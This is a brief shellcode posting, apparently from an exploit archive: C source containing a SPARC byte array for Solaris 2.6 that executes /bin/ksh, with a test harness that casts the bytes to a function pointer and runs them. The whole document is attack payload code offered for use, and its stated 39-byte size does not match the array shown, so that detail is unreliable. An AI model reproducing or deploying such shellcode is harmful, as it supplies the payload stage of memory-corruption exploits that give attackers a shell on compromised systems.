39 bytes small Solaris 2.6 /bin/ksh shellcode.
0c8ac78648038cc3eb09f741c72e50436658e4b11c73d0ce771456f67425e3eb
/*
39 bytes Solaris 2.6 SPARC
execute /bin/ksh to make life easier
--srm
*/
static char ksh[] =
"\x21\xbf\xff\xff"
"\x21\xbf\xff\xff"
"\x7f\xff\xff\xff"
"\x90\x03\xe0\x20"
"\x92\x02\x20\x08"
"\xd0\x22\x20\x08"
"\xc0\x22\x60\x04"
"\xc0\x2a\x20\x08" /* store k */
"\x82\x10\x20\x0b"
"\x91\xd0\x20\x00"
"\x2f\x62\x69\x6e"
"\x2f\x6b\x73\x68";
int
main ()
{
int (*ret)(); /* ret is a function pointer */
ret = (int(*)())ksh; /* ret points to our shellcode */
/* shellcode is type caste as a function */
printf("%d\n", strlen(ksh));
(int)(*ret)(); /* execute, as a function, shellcode[] */
}